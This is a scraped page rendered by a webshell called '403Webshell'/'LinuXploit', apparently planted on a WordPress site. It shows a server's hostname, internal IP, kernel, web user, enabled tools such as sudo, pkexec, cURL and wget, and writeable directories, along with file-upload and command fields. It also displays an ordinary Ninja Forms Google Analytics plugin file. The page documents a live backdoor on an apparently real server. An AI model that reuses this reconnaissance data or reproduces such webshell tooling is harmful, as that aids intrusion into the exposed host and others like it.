403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ajels/public_html/wp-content/plugins/ninja-forms/includes/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ajels/public_html/wp-content/plugins/ninja-forms/includes/Actions/GoogleAnalytics.php
<?php

use NinjaForms\Includes\Abstracts\SotAction;
use NinjaForms\Includes\Traits\SotGetActionProperties;
use NinjaForms\Includes\Interfaces\SotAction as InterfacesSotAction;

if (! defined('ABSPATH')) exit;

/**
 * Class NF_Action_SuccessMessage
 */
final class NF_Actions_GoogleAnalytics extends SotAction implements InterfacesSotAction
{
    use SotGetActionProperties;

    /**
     * @var array
     */
    protected $_tags = array();

    /**
     * Constructor
     */
    public function __construct()
    {
        parent::__construct();

        $this->_name  = 'googleanalytics';
        $this->_timing = 'late';
        $this->_priority = 25;
        $this->_documentation_url = 'https://ninjaforms.com/docs/google-analytics-4/?utm_source=Ninja+Forms+Plugin&utm_medium=Form+Builder&utm_campaign=Documentation&utm_content=GA4';
        $this->_group = 'core';

        add_action('init', [$this, 'initHook']);
    }

    public function initHook()
    {
        $this->_nicename = esc_html__('Google Analytics 4', 'ninja-forms');

        $settings = Ninja_Forms::config('ActionGoogleAnalyticsSettings');

        $this->_settings = array_merge($this->_settings, $settings);
    }

    /*
    * PUBLIC METHODS
    */
    
    /** @inheritDoc */
    public function process(array $action_settings, int $form_id, array $data): array
    {
        if (isset($data['settings']['is_preview']) && $data['settings']['is_preview']) {
            return $data;
        }

        $data['actions'][$action_settings['type']][] = [
            'method_type'   => $action_settings['method_type'],
            'event_name'    => $action_settings['event_name'],
            'label'         => $action_settings['label'],
            'id'            => $action_settings['id']
        ];

        return $data;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit